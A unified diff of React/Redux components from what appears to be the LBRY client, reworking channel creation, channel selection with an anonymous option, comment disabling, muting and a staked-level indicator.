@@ -1,15 +0,0 @@
|
||||
import { connect } from 'react-redux';
|
||||
import ChannelCreate from './view';
|
||||
import { selectBalance, doCreateChannel, selectCreatingChannel, selectCreateChannelError } from 'lbry-redux';
|
||||
|
||||
const select = state => ({
|
||||
balance: selectBalance(state),
|
||||
creatingChannel: selectCreatingChannel(state),
|
||||
createChannelError: selectCreateChannelError(state),
|
||||
});
|
||||
|
||||
const perform = dispatch => ({
|
||||
createChannel: (name, amount) => dispatch(doCreateChannel(name, amount)),
|
||||
});
|
||||
|
||||
export default connect(select, perform)(ChannelCreate);
|
||||
@@ -1,143 +0,0 @@
|
||||
// @flow
|
||||
import React from 'react';
|
||||
import { isNameValid } from 'lbry-redux';
|
||||
import { Form, FormField } from 'component/common/form';
|
||||
import Button from 'component/button';
|
||||
import analytics from 'analytics';
|
||||
import LbcSymbol from 'component/common/lbc-symbol';
|
||||
import { MINIMUM_PUBLISH_BID, INVALID_NAME_ERROR } from 'constants/claim';
|
||||
|
||||
type Props = {
|
||||
balance: number,
|
||||
createChannel: (string, number) => Promise<any>,
|
||||
onSuccess?: ({}) => void,
|
||||
creatingChannel: boolean,
|
||||
createChannelError: ?string,
|
||||
};
|
||||
|
||||
type State = {
|
||||
newChannelName: string,
|
||||
newChannelBid: number,
|
||||
newChannelNameError: string,
|
||||
newChannelBidError: string,
|
||||
};
|
||||
|
||||
class ChannelCreate extends React.PureComponent<Props, State> {
|
||||
constructor(props: Props) {
|
||||
super(props);
|
||||
|
||||
this.state = {
|
||||
newChannelName: '',
|
||||
newChannelBid: 0.001,
|
||||
newChannelNameError: '',
|
||||
newChannelBidError: '',
|
||||
};
|
||||
|
||||
(this: any).handleNewChannelNameChange = this.handleNewChannelNameChange.bind(this);
|
||||
(this: any).handleNewChannelBidChange = this.handleNewChannelBidChange.bind(this);
|
||||
(this: any).handleCreateChannel = this.handleCreateChannel.bind(this);
|
||||
}
|
||||
|
||||
handleNewChannelNameChange(event: SyntheticInputEvent<*>) {
|
||||
let newChannelName = event.target.value;
|
||||
|
||||
if (newChannelName.startsWith('@')) {
|
||||
newChannelName = newChannelName.slice(1);
|
||||
}
|
||||
|
||||
let newChannelNameError;
|
||||
if (newChannelName.length > 0 && !isNameValid(newChannelName, false)) {
|
||||
newChannelNameError = INVALID_NAME_ERROR;
|
||||
}
|
||||
|
||||
this.setState({
|
||||
newChannelNameError,
|
||||
newChannelName,
|
||||
});
|
||||
}
|
||||
|
||||
handleNewChannelBidChange(newChannelBid: number) {
|
||||
const { balance } = this.props;
|
||||
let newChannelBidError;
|
||||
if (newChannelBid === 0) {
|
||||
newChannelBidError = __('Your deposit cannot be 0');
|
||||
} else if (newChannelBid === balance) {
|
||||
newChannelBidError = __('Please decrease your deposit to account for transaction fees');
|
||||
} else if (newChannelBid > balance) {
|
||||
newChannelBidError = __('Deposit cannot be higher than your balance');
|
||||
} else if (newChannelBid < MINIMUM_PUBLISH_BID) {
|
||||
newChannelBidError = __('Your deposit must be higher');
|
||||
}
|
||||
|
||||
this.setState({
|
||||
newChannelBid,
|
||||
newChannelBidError,
|
||||
});
|
||||
}
|
||||
|
||||
handleCreateChannel() {
|
||||
const { createChannel, onSuccess } = this.props;
|
||||
const { newChannelBid, newChannelName } = this.state;
|
||||
|
||||
const channelName = `@${newChannelName.trim()}`;
|
||||
|
||||
const success = channelClaim => {
|
||||
analytics.apiLogPublish(channelClaim);
|
||||
|
||||
if (onSuccess !== undefined) {
|
||||
onSuccess({ ...this.props, ...this.state });
|
||||
}
|
||||
};
|
||||
|
||||
createChannel(channelName, newChannelBid).then(success);
|
||||
}
|
||||
|
||||
render() {
|
||||
const { newChannelName, newChannelNameError, newChannelBid, newChannelBidError } = this.state;
|
||||
const { creatingChannel, createChannelError } = this.props;
|
||||
|
||||
return (
|
||||
<Form onSubmit={this.handleCreateChannel}>
|
||||
{createChannelError && <div className="error__text">{createChannelError}</div>}
|
||||
<div>
|
||||
<FormField
|
||||
label={__('Name')}
|
||||
name="channel-input"
|
||||
type="text"
|
||||
placeholder={__('ChannelName')}
|
||||
error={newChannelNameError}
|
||||
value={newChannelName}
|
||||
onChange={this.handleNewChannelNameChange}
|
||||
/>
|
||||
<FormField
|
||||
className="form-field--price-amount"
|
||||
name="channel-deposit"
|
||||
label={<LbcSymbol postfix={__('Deposit')} size={14} />}
|
||||
step="any"
|
||||
min="0"
|
||||
type="number"
|
||||
helper={__(
|
||||
'These LBRY Credits remain yours. It is a deposit to reserve the name and can be undone at any time.'
|
||||
)}
|
||||
error={newChannelBidError}
|
||||
value={newChannelBid}
|
||||
onChange={event => this.handleNewChannelBidChange(parseFloat(event.target.value))}
|
||||
onWheel={e => e.stopPropagation()}
|
||||
/>
|
||||
<div className="section__actions">
|
||||
<Button
|
||||
type="submit"
|
||||
button="primary"
|
||||
label={!creatingChannel ? __('Create channel') : __('Creating channel...')}
|
||||
disabled={
|
||||
!newChannelName || !newChannelBid || creatingChannel || newChannelNameError || newChannelBidError
|
||||
}
|
||||
/>
|
||||
</div>
|
||||
</div>
|
||||
</Form>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
export default ChannelCreate;
|
||||
@@ -1,8 +1,9 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { withRouter } from 'react-router';
|
||||
import { makeSelectCommentForCommentId } from 'redux/selectors/comments';
|
||||
|
||||
import { DISABLE_COMMENTS_TAG } from 'constants/tags';
|
||||
import ChannelDiscussion from './view';
|
||||
import { makeSelectTagInClaimOrChannelForUri } from 'lbry-redux';
|
||||
|
||||
const select = (state, props) => {
|
||||
const { search } = props.location;
|
||||
@@ -11,6 +12,7 @@ const select = (state, props) => {
|
||||
|
||||
return {
|
||||
linkedComment: makeSelectCommentForCommentId(linkedCommentId)(state),
|
||||
commentsDisabled: makeSelectTagInClaimOrChannelForUri(props.uri, DISABLE_COMMENTS_TAG)(state),
|
||||
};
|
||||
};
|
||||
|
||||
|
||||
@@ -1,15 +1,20 @@
|
||||
// @flow
|
||||
import React from 'react';
|
||||
import CommentsList from 'component/commentsList';
|
||||
import Empty from 'component/common/empty';
|
||||
|
||||
type Props = {
|
||||
uri: string,
|
||||
linkedComment: ?any,
|
||||
commentsDisabled: boolean,
|
||||
};
|
||||
|
||||
function ChannelDiscussion(props: Props) {
|
||||
const { uri, linkedComment } = props;
|
||||
const { uri, linkedComment, commentsDisabled } = props;
|
||||
|
||||
if (commentsDisabled) {
|
||||
return <Empty text={__('This channel has disabled comments on their page.')} />;
|
||||
}
|
||||
return (
|
||||
<section className="section">
|
||||
<CommentsList uri={uri} linkedComment={linkedComment} />
|
||||
|
||||
@@ -16,7 +16,7 @@ import {
|
||||
doClearChannelErrors,
|
||||
} from 'lbry-redux';
|
||||
import { doOpenModal } from 'redux/actions/app';
|
||||
|
||||
import { doUpdateBlockListForPublishedChannel } from 'redux/actions/comments';
|
||||
import ChannelPage from './view';
|
||||
|
||||
const select = (state, props) => ({
|
||||
@@ -38,12 +38,16 @@ const select = (state, props) => ({
|
||||
balance: selectBalance(state),
|
||||
});
|
||||
|
||||
const perform = dispatch => ({
|
||||
const perform = (dispatch) => ({
|
||||
openModal: (modal, props) => dispatch(doOpenModal(modal, props)),
|
||||
updateChannel: params => dispatch(doUpdateChannel(params)),
|
||||
createChannel: params => {
|
||||
updateChannel: (params) => dispatch(doUpdateChannel(params)),
|
||||
createChannel: (params) => {
|
||||
const { name, amount, ...optionalParams } = params;
|
||||
return dispatch(doCreateChannel('@' + name, amount, optionalParams));
|
||||
return dispatch(
|
||||
doCreateChannel('@' + name, amount, optionalParams, (channelClaim) => {
|
||||
dispatch(doUpdateBlockListForPublishedChannel(channelClaim));
|
||||
})
|
||||
);
|
||||
},
|
||||
clearChannelErrors: () => dispatch(doClearChannelErrors()),
|
||||
});
|
||||
|
||||
@@ -19,6 +19,8 @@ import * as PAGES from 'constants/pages';
|
||||
import analytics from 'analytics';
|
||||
import LbcSymbol from 'component/common/lbc-symbol';
|
||||
import SUPPORTED_LANGUAGES from 'constants/supported_languages';
|
||||
import WalletSpendableBalanceHelp from 'component/walletSpendableBalanceHelp';
|
||||
|
||||
const LANG_NONE = 'none';
|
||||
|
||||
const MAX_TAG_SELECT = 5;
|
||||
@@ -37,17 +39,17 @@ type Props = {
|
||||
tags: Array<string>,
|
||||
locations: Array<string>,
|
||||
languages: Array<string>,
|
||||
updateChannel: any => Promise<any>,
|
||||
updateChannel: (any) => Promise<any>,
|
||||
updatingChannel: boolean,
|
||||
updateError: string,
|
||||
createChannel: any => Promise<any>,
|
||||
createChannel: (any) => Promise<any>,
|
||||
createError: string,
|
||||
creatingChannel: boolean,
|
||||
clearChannelErrors: () => void,
|
||||
onDone: () => void,
|
||||
openModal: (
|
||||
id: string,
|
||||
{ onUpdate: string => void, assetName: string, helpText: string, currentValue: string, title: string }
|
||||
{ onUpdate: (string) => void, assetName: string, helpText: string, currentValue: string, title: string }
|
||||
) => void,
|
||||
uri: string,
|
||||
disabled: boolean,
|
||||
@@ -116,7 +118,7 @@ function ChannelForm(props: Props) {
|
||||
languages: languages || [],
|
||||
locations: locations || [],
|
||||
tags: tags
|
||||
? tags.map(tag => {
|
||||
? tags.map((tag) => {
|
||||
return { name: tag };
|
||||
})
|
||||
: [],
|
||||
@@ -138,7 +140,9 @@ function ChannelForm(props: Props) {
|
||||
if (bid <= 0.0 || isNaN(bid)) {
|
||||
setBidError(__('Deposit cannot be 0'));
|
||||
} else if (totalAvailableBidAmount < bid) {
|
||||
setBidError(__('Deposit cannot be higher than your balance'));
|
||||
setBidError(
|
||||
__('Deposit cannot be higher than your available balance: %balance%', { balance: totalAvailableBidAmount })
|
||||
);
|
||||
} else if (totalAvailableBidAmount - bid < ESTIMATED_FEE) {
|
||||
setBidError(__('Please decrease your deposit to account for transaction fees'));
|
||||
} else if (bid < MINIMUM_PUBLISH_BID) {
|
||||
@@ -177,13 +181,13 @@ function ChannelForm(props: Props) {
|
||||
|
||||
function handleSubmit() {
|
||||
if (uri) {
|
||||
updateChannel(params).then(success => {
|
||||
updateChannel(params).then((success) => {
|
||||
if (success) {
|
||||
onDone();
|
||||
}
|
||||
});
|
||||
} else {
|
||||
createChannel(params).then(success => {
|
||||
createChannel(params).then((success) => {
|
||||
if (success) {
|
||||
analytics.apiLogPublish(success);
|
||||
onDone();
|
||||
@@ -192,6 +196,12 @@ function ChannelForm(props: Props) {
|
||||
}
|
||||
}
|
||||
|
||||
const LIMIT_ERR_PARTIAL_MSG = 'bad-txns-claimscriptsize-toolarge (code 16)';
|
||||
let errorMsg = updateError || createError;
|
||||
if (errorMsg && errorMsg.includes(LIMIT_ERR_PARTIAL_MSG)) {
|
||||
errorMsg = __('Transaction limit reached. Try reducing the Description length.');
|
||||
}
|
||||
|
||||
React.useEffect(() => {
|
||||
let nameError;
|
||||
if (!name && name !== undefined) {
|
||||
@@ -218,7 +228,7 @@ function ChannelForm(props: Props) {
|
||||
title={__('Cover')}
|
||||
onClick={() =>
|
||||
openModal(MODALS.IMAGE_UPLOAD, {
|
||||
onUpdate: coverUrl => handleCoverChange(coverUrl),
|
||||
onUpdate: (coverUrl) => handleCoverChange(coverUrl),
|
||||
title: __('Edit Cover Image'),
|
||||
helpText: __('(6.25:1)'),
|
||||
assetName: __('Cover Image'),
|
||||
@@ -242,7 +252,7 @@ function ChannelForm(props: Props) {
|
||||
title={__('Edit')}
|
||||
onClick={() =>
|
||||
openModal(MODALS.IMAGE_UPLOAD, {
|
||||
onUpdate: v => handleThumbnailChange(v),
|
||||
onUpdate: (v) => handleThumbnailChange(v),
|
||||
title: __('Edit Thumbnail Image'),
|
||||
helpText: __('(1:1)'),
|
||||
assetName: __('Thumbnail'),
|
||||
@@ -293,7 +303,7 @@ function ChannelForm(props: Props) {
|
||||
value={params.name || channelName}
|
||||
error={nameError}
|
||||
disabled={!isNewChannel}
|
||||
onChange={e => setParams({ ...params, name: e.target.value })}
|
||||
onChange={(e) => setParams({ ...params, name: e.target.value })}
|
||||
/>
|
||||
</fieldset-group>
|
||||
{!isNewChannel && <span className="form-field__help">{__('This field cannot be changed.')}</span>}
|
||||
@@ -304,7 +314,7 @@ function ChannelForm(props: Props) {
|
||||
label={__('Title')}
|
||||
placeholder={__('My Awesome Channel')}
|
||||
value={params.title}
|
||||
onChange={e => setParams({ ...params, title: e.target.value })}
|
||||
onChange={(e) => setParams({ ...params, title: e.target.value })}
|
||||
/>
|
||||
<FormField
|
||||
type="markdown"
|
||||
@@ -312,7 +322,7 @@ function ChannelForm(props: Props) {
|
||||
label={__('Description')}
|
||||
placeholder={__('Description of your content')}
|
||||
value={params.description}
|
||||
onChange={text => setParams({ ...params, description: text })}
|
||||
onChange={(text) => setParams({ ...params, description: text })}
|
||||
textAreaMaxLength={FF_MAX_CHARS_IN_DESCRIPTION}
|
||||
/>
|
||||
</>
|
||||
@@ -332,9 +342,14 @@ function ChannelForm(props: Props) {
|
||||
error={bidError}
|
||||
min="0.0"
|
||||
disabled={false}
|
||||
onChange={event => handleBidChange(parseFloat(event.target.value))}
|
||||
onChange={(event) => handleBidChange(parseFloat(event.target.value))}
|
||||
placeholder={0.1}
|
||||
helper={__('Increasing your deposit can help your channel be discovered more easily.')}
|
||||
helper={
|
||||
<>
|
||||
{__('Increasing your deposit can help your channel be discovered more easily.')}
|
||||
<WalletSpendableBalanceHelp inline />
|
||||
</>
|
||||
}
|
||||
/>
|
||||
}
|
||||
/>
|
||||
@@ -348,17 +363,17 @@ function ChannelForm(props: Props) {
|
||||
limitSelect={MAX_TAG_SELECT}
|
||||
tagsPassedIn={params.tags || []}
|
||||
label={__('Selected Tags')}
|
||||
onRemove={clickedTag => {
|
||||
const newTags = params.tags.slice().filter(tag => tag.name !== clickedTag.name);
|
||||
onRemove={(clickedTag) => {
|
||||
const newTags = params.tags.slice().filter((tag) => tag.name !== clickedTag.name);
|
||||
setParams({ ...params, tags: newTags });
|
||||
}}
|
||||
onSelect={newTags => {
|
||||
newTags.forEach(newTag => {
|
||||
if (!params.tags.map(savedTag => savedTag.name).includes(newTag.name)) {
|
||||
onSelect={(newTags) => {
|
||||
newTags.forEach((newTag) => {
|
||||
if (!params.tags.map((savedTag) => savedTag.name).includes(newTag.name)) {
|
||||
setParams({ ...params, tags: [...params.tags, newTag] });
|
||||
} else {
|
||||
// If it already exists and the user types it in, remove it
|
||||
setParams({ ...params, tags: params.tags.filter(tag => tag.name !== newTag.name) });
|
||||
setParams({ ...params, tags: params.tags.filter((tag) => tag.name !== newTag.name) });
|
||||
}
|
||||
});
|
||||
}}
|
||||
@@ -377,7 +392,7 @@ function ChannelForm(props: Props) {
|
||||
placeholder={__('aprettygoodsite.com')}
|
||||
disabled={false}
|
||||
value={params.website}
|
||||
onChange={e => setParams({ ...params, website: e.target.value })}
|
||||
onChange={(e) => setParams({ ...params, website: e.target.value })}
|
||||
/>
|
||||
<FormField
|
||||
type="text"
|
||||
@@ -386,20 +401,20 @@ function ChannelForm(props: Props) {
|
||||
placeholder={__('yourstruly@example.com')}
|
||||
disabled={false}
|
||||
value={params.email}
|
||||
onChange={e => setParams({ ...params, email: e.target.value })}
|
||||
onChange={(e) => setParams({ ...params, email: e.target.value })}
|
||||
/>
|
||||
<FormField
|
||||
name="language_select"
|
||||
type="select"
|
||||
label={__('Primary Language')}
|
||||
onChange={event => handleLanguageChange(0, event.target.value)}
|
||||
onChange={(event) => handleLanguageChange(0, event.target.value)}
|
||||
value={primaryLanguage}
|
||||
helper={__('Your main content language')}
|
||||
>
|
||||
<option key={'pri-langNone'} value={LANG_NONE}>
|
||||
{__('None selected')}
|
||||
</option>
|
||||
{Object.keys(SUPPORTED_LANGUAGES).map(language => (
|
||||
{Object.keys(SUPPORTED_LANGUAGES).map((language) => (
|
||||
<option key={language} value={language}>
|
||||
{SUPPORTED_LANGUAGES[language]}
|
||||
</option>
|
||||
@@ -409,7 +424,7 @@ function ChannelForm(props: Props) {
|
||||
name="language_select2"
|
||||
type="select"
|
||||
label={__('Secondary Language')}
|
||||
onChange={event => handleLanguageChange(1, event.target.value)}
|
||||
onChange={(event) => handleLanguageChange(1, event.target.value)}
|
||||
value={secondaryLanguage}
|
||||
disabled={!languageParam[0]}
|
||||
helper={__('Your other content language')}
|
||||
@@ -418,8 +433,8 @@ function ChannelForm(props: Props) {
|
||||
{__('None selected')}
|
||||
</option>
|
||||
{Object.keys(SUPPORTED_LANGUAGES)
|
||||
.filter(lang => lang !== languageParam[0])
|
||||
.map(language => (
|
||||
.filter((lang) => lang !== languageParam[0])
|
||||
.map((language) => (
|
||||
<option key={language} value={language}>
|
||||
{SUPPORTED_LANGUAGES[language]}
|
||||
</option>
|
||||
@@ -447,8 +462,8 @@ function ChannelForm(props: Props) {
|
||||
/>
|
||||
<Button button="link" label={__('Cancel')} onClick={onDone} />
|
||||
</div>
|
||||
{updateError || createError ? (
|
||||
<ErrorText>{updateError || createError}</ErrorText>
|
||||
{errorMsg ? (
|
||||
<ErrorText>{errorMsg}</ErrorText>
|
||||
) : (
|
||||
<p className="help">
|
||||
{__('After submitting, it will take a few minutes for your changes to be live for everyone.')}
|
||||
|
||||
@@ -1,40 +0,0 @@
|
||||
import { connect } from 'react-redux';
|
||||
import {
|
||||
doResolveUri,
|
||||
selectPublishFormValues,
|
||||
selectIsStillEditing,
|
||||
selectMyClaimForUri,
|
||||
selectIsResolvingPublishUris,
|
||||
selectTakeOverAmount,
|
||||
doResetThumbnailStatus,
|
||||
doClearPublish,
|
||||
doUpdatePublishForm,
|
||||
doPrepareEdit,
|
||||
} from 'lbry-redux';
|
||||
import { doPublishDesktop } from 'redux/actions/publish';
|
||||
import { selectUnclaimedRewardValue } from 'redux/selectors/rewards';
|
||||
import ChannelForm from './view';
|
||||
|
||||
const select = state => ({
|
||||
...selectPublishFormValues(state),
|
||||
// The winning claim for a short lbry uri
|
||||
amountNeededForTakeover: selectTakeOverAmount(state),
|
||||
// My previously published claims under this short lbry uri
|
||||
myClaimForUri: selectMyClaimForUri(state),
|
||||
// If I clicked the "edit" button, have I changed the uri?
|
||||
// Need this to make it easier to find the source on previously published content
|
||||
isStillEditing: selectIsStillEditing(state),
|
||||
isResolvingUri: selectIsResolvingPublishUris(state),
|
||||
totalRewardValue: selectUnclaimedRewardValue(state),
|
||||
});
|
||||
|
||||
const perform = dispatch => ({
|
||||
updatePublishForm: value => dispatch(doUpdatePublishForm(value)),
|
||||
clearPublish: () => dispatch(doClearPublish()),
|
||||
resolveUri: uri => dispatch(doResolveUri(uri)),
|
||||
publish: filePath => dispatch(doPublishDesktop(filePath)),
|
||||
prepareEdit: (claim, uri) => dispatch(doPrepareEdit(claim, uri)),
|
||||
resetThumbnailStatus: () => dispatch(doResetThumbnailStatus()),
|
||||
});
|
||||
|
||||
export default connect(select, perform)(ChannelForm);
|
||||
@@ -1,63 +0,0 @@
|
||||
// @flow
|
||||
|
||||
import React, { useEffect, Fragment } from 'react';
|
||||
import { CHANNEL_NEW } from 'constants/claim';
|
||||
import { buildURI, isURIValid } from 'lbry-redux';
|
||||
import ChannelCreate from 'component/channelCreate';
|
||||
import Card from 'component/common/card';
|
||||
import * as ICONS from 'constants/icons';
|
||||
|
||||
type Props = {
|
||||
name: ?string,
|
||||
channel: string,
|
||||
resolveUri: string => void,
|
||||
updatePublishForm: any => void,
|
||||
onSuccess: () => void,
|
||||
};
|
||||
|
||||
function ChannelForm(props: Props) {
|
||||
const { name, channel, resolveUri, updatePublishForm, onSuccess } = props;
|
||||
|
||||
// Every time the channel or name changes, resolve the uris to find winning bid amounts
|
||||
useEffect(() => {
|
||||
// If they are midway through a channel creation, treat it as anonymous until it completes
|
||||
const channelName = channel === CHANNEL_NEW ? '' : channel;
|
||||
|
||||
// We are only going to store the full uri, but we need to resolve the uri with and without the channel name
|
||||
let uri;
|
||||
try {
|
||||
uri = name && buildURI({ streamName: name, channelName });
|
||||
} catch (e) {}
|
||||
|
||||
if (channelName && name) {
|
||||
// resolve without the channel name so we know the winning bid for it
|
||||
try {
|
||||
const uriLessChannel = buildURI({ streamName: name });
|
||||
resolveUri(uriLessChannel);
|
||||
} catch (e) {}
|
||||
}
|
||||
|
||||
const isValid = isURIValid(uri);
|
||||
if (uri && isValid) {
|
||||
resolveUri(uri);
|
||||
updatePublishForm({ uri });
|
||||
}
|
||||
}, [name, channel, resolveUri, updatePublishForm]);
|
||||
|
||||
return (
|
||||
<Fragment>
|
||||
<Card
|
||||
icon={ICONS.CHANNEL}
|
||||
title="Create a New Channel"
|
||||
subtitle="This is a username or handle that your content can be found under."
|
||||
actions={
|
||||
<React.Fragment>
|
||||
<ChannelCreate onSuccess={onSuccess} onChannelChange={channel => updatePublishForm({ channel })} />
|
||||
</React.Fragment>
|
||||
}
|
||||
/>
|
||||
</Fragment>
|
||||
);
|
||||
}
|
||||
|
||||
export default ChannelForm;
|
||||
@@ -0,0 +1,12 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { doToggleMuteChannel } from 'redux/actions/blocked';
|
||||
import { makeSelectChannelIsMuted } from 'redux/selectors/blocked';
|
||||
import ChannelMuteButton from './view';
|
||||
|
||||
const select = (state, props) => ({
|
||||
isMuted: makeSelectChannelIsMuted(props.uri)(state),
|
||||
});
|
||||
|
||||
export default connect(select, {
|
||||
doToggleMuteChannel,
|
||||
})(ChannelMuteButton);
|
||||
@@ -0,0 +1,24 @@
|
||||
// @flow
|
||||
import React from 'react';
|
||||
import Button from 'component/button';
|
||||
|
||||
type Props = {
|
||||
uri: string,
|
||||
isMuted: boolean,
|
||||
channelClaim: ?ChannelClaim,
|
||||
doToggleMuteChannel: (string) => void,
|
||||
};
|
||||
|
||||
function ChannelBlockButton(props: Props) {
|
||||
const { uri, doToggleMuteChannel, isMuted } = props;
|
||||
|
||||
return (
|
||||
<Button
|
||||
button={isMuted ? 'alt' : 'secondary'}
|
||||
label={isMuted ? __('Unmute') : __('Mute')}
|
||||
onClick={() => doToggleMuteChannel(uri)}
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
export default ChannelBlockButton;
|
||||
@@ -1,9 +1,16 @@
|
||||
import { connect } from 'react-redux';
|
||||
import SelectChannel from './view';
|
||||
import { selectMyChannelClaims } from 'lbry-redux';
|
||||
import { selectActiveChannelClaim, selectIncognito } from 'redux/selectors/app';
|
||||
import { doSetActiveChannel, doSetIncognito } from 'redux/actions/app';
|
||||
import SelectChannel from './view';
|
||||
|
||||
const select = state => ({
|
||||
channels: selectMyChannelClaims(state),
|
||||
activeChannelClaim: selectActiveChannelClaim(state),
|
||||
incognito: selectIncognito(state),
|
||||
});
|
||||
|
||||
export default connect(select)(SelectChannel);
|
||||
export default connect(select, {
|
||||
doSetActiveChannel,
|
||||
doSetIncognito,
|
||||
})(SelectChannel);
|
||||
@@ -1,16 +1,23 @@
|
||||
// @flow
|
||||
import * as ICONS from 'constants/icons';
|
||||
import * as PAGES from 'constants/pages';
|
||||
import classnames from 'classnames';
|
||||
import React from 'react';
|
||||
import ChannelThumbnail from 'component/channelThumbnail';
|
||||
import { Menu, MenuList, MenuButton, MenuItem } from '@reach/menu-button';
|
||||
import ChannelTitle from 'component/channelTitle';
|
||||
import Icon from 'component/common/icon';
|
||||
import { useHistory } from 'react-router';
|
||||
|
||||
type Props = {
|
||||
selectedChannelUrl: string, // currently selected channel
|
||||
channels: ?Array<ChannelClaim>,
|
||||
onChannelSelect: (url: string) => void,
|
||||
hideAnon?: boolean,
|
||||
activeChannelClaim: ?ChannelClaim,
|
||||
doSetActiveChannel: (string) => void,
|
||||
incognito: boolean,
|
||||
doSetIncognito: (boolean) => void,
|
||||
};
|
||||
|
||||
type ListItemProps = {
|
||||
@@ -23,41 +30,71 @@ function ChannelListItem(props: ListItemProps) {
|
||||
|
||||
return (
|
||||
<div className={classnames('channel__list-item', { 'channel__list-item--selected': isSelected })}>
|
||||
<ChannelThumbnail uri={uri} />
|
||||
<ChannelThumbnail uri={uri} hideStakedIndicator />
|
||||
<ChannelTitle uri={uri} />
|
||||
{isSelected && <Icon icon={ICONS.DOWN} />}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function ChannelSelector(props: Props) {
|
||||
const { channels, selectedChannelUrl, onChannelSelect } = props;
|
||||
type IncognitoSelectorProps = {
|
||||
isSelected?: boolean,
|
||||
};
|
||||
|
||||
if (!channels || !selectedChannelUrl) {
|
||||
return null;
|
||||
function IncognitoSelector(props: IncognitoSelectorProps) {
|
||||
return (
|
||||
<div className={classnames('channel__list-item', { 'channel__list-item--selected': props.isSelected })}>
|
||||
<Icon sectionIcon icon={ICONS.ANONYMOUS} />
|
||||
<h2 className="channel__list-text">{__('Anonymous')}</h2>
|
||||
{props.isSelected && <Icon icon={ICONS.DOWN} />}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
function ChannelSelector(props: Props) {
|
||||
const { channels, activeChannelClaim, doSetActiveChannel, hideAnon = false, incognito, doSetIncognito } = props;
|
||||
const {
|
||||
push,
|
||||
location: { pathname },
|
||||
} = useHistory();
|
||||
const activeChannelUrl = activeChannelClaim && activeChannelClaim.permanent_url;
|
||||
|
||||
function handleChannelSelect(channelClaim) {
|
||||
doSetIncognito(false);
|
||||
doSetActiveChannel(channelClaim.claim_id);
|
||||
}
|
||||
|
||||
return (
|
||||
<Menu>
|
||||
<MenuButton className="">
|
||||
<ChannelListItem uri={selectedChannelUrl} isSelected />
|
||||
</MenuButton>
|
||||
<MenuList className="menu__list channel__list">
|
||||
{channels &&
|
||||
channels.map(channel => (
|
||||
<MenuItem
|
||||
key={channel.canonical_url}
|
||||
onSelect={() => {
|
||||
if (selectedChannelUrl !== channel.canonical_url) {
|
||||
onChannelSelect(channel.canonical_url);
|
||||
}
|
||||
}}
|
||||
>
|
||||
<ChannelListItem uri={channel.canonical_url} />
|
||||
<div className="channel__selector">
|
||||
<Menu>
|
||||
<MenuButton>
|
||||
{(incognito && !hideAnon) || !activeChannelUrl ? (
|
||||
<IncognitoSelector isSelected />
|
||||
) : (
|
||||
<ChannelListItem uri={activeChannelUrl} isSelected />
|
||||
)}
|
||||
</MenuButton>
|
||||
<MenuList className="menu__list channel__list">
|
||||
{channels &&
|
||||
channels.map((channel) => (
|
||||
<MenuItem key={channel.permanent_url} onSelect={() => handleChannelSelect(channel)}>
|
||||
<ChannelListItem uri={channel.permanent_url} />
|
||||
</MenuItem>
|
||||
))}
|
||||
{!hideAnon && (
|
||||
<MenuItem onSelect={() => doSetIncognito(true)}>
|
||||
<IncognitoSelector />
|
||||
</MenuItem>
|
||||
))}
|
||||
</MenuList>
|
||||
</Menu>
|
||||
)}
|
||||
<MenuItem onSelect={() => push(`/$/${PAGES.CHANNEL_NEW}?redirect=${pathname}`)}>
|
||||
<div className="channel__list-item">
|
||||
<Icon sectionIcon icon={ICONS.CHANNEL} />
|
||||
<h2 className="channel__list-text">{__('Create a new channel')}</h2>
|
||||
</div>
|
||||
</MenuItem>
|
||||
</MenuList>
|
||||
</Menu>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,15 @@
|
||||
import { connect } from 'react-redux';
|
||||
import {
|
||||
makeSelectClaimForUri,
|
||||
makeSelectStakedLevelForChannelUri,
|
||||
makeSelectTotalStakedAmountForChannelUri,
|
||||
} from 'lbry-redux';
|
||||
import ChannelStakedIndicator from './view';
|
||||
|
||||
const select = (state, props) => ({
|
||||
channelClaim: makeSelectClaimForUri(props.uri)(state),
|
||||
amount: makeSelectTotalStakedAmountForChannelUri(props.uri)(state),
|
||||
level: makeSelectStakedLevelForChannelUri(props.uri)(state),
|
||||
});
|
||||
|
||||
export default connect(select)(ChannelStakedIndicator);
|
||||
@@ -0,0 +1,94 @@
|
||||
// @flow
|
||||
import { SIMPLE_SITE } from 'config';
|
||||
import * as ICONS from 'constants/icons';
|
||||
import React from 'react';
|
||||
import classnames from 'classnames';
|
||||
import Icon from 'component/common/icon';
|
||||
import LbcSymbol from 'component/common/lbc-symbol';
|
||||
import Tooltip from 'component/common/tooltip';
|
||||
import CreditAmount from 'component/common/credit-amount';
|
||||
|
||||
type Props = {
|
||||
channelClaim: ChannelClaim,
|
||||
amount: number,
|
||||
level: number,
|
||||
large?: boolean,
|
||||
inline?: boolean,
|
||||
};
|
||||
|
||||
function getChannelIcon(level: number): string {
|
||||
const icons = {
|
||||
'1': ICONS.CHANNEL_LEVEL_1,
|
||||
'2': ICONS.CHANNEL_LEVEL_2,
|
||||
'3': ICONS.CHANNEL_LEVEL_3,
|
||||
'4': ICONS.CHANNEL_LEVEL_4,
|
||||
'5': ICONS.CHANNEL_LEVEL_5,
|
||||
};
|
||||
|
||||
return icons[level] || ICONS.CHANNEL_LEVEL_1;
|
||||
}
|
||||
|
||||
function ChannelStakedIndicator(props: Props) {
|
||||
const { channelClaim, amount, level, large = false, inline = false } = props;
|
||||
|
||||
if (!channelClaim || !channelClaim.meta) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const isControlling = channelClaim && channelClaim.meta.is_controlling;
|
||||
const icon = getChannelIcon(level);
|
||||
|
||||
return (
|
||||
SIMPLE_SITE && (
|
||||
<Tooltip
|
||||
label={
|
||||
<div className="channel-staked__tooltip">
|
||||
<div className="channel-staked__tooltip-icons">
|
||||
<LevelIcon icon={icon} isControlling={isControlling} size={isControlling ? 14 : 10} />
|
||||
</div>
|
||||
|
||||
<div className="channel-staked__tooltip-text">
|
||||
<span>{__('Level %current_level%', { current_level: level })}</span>
|
||||
<div className="channel-staked__amount">
|
||||
<LbcSymbol postfix={<CreditAmount amount={amount} showLBC={false} />} size={14} />
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
}
|
||||
>
|
||||
<div
|
||||
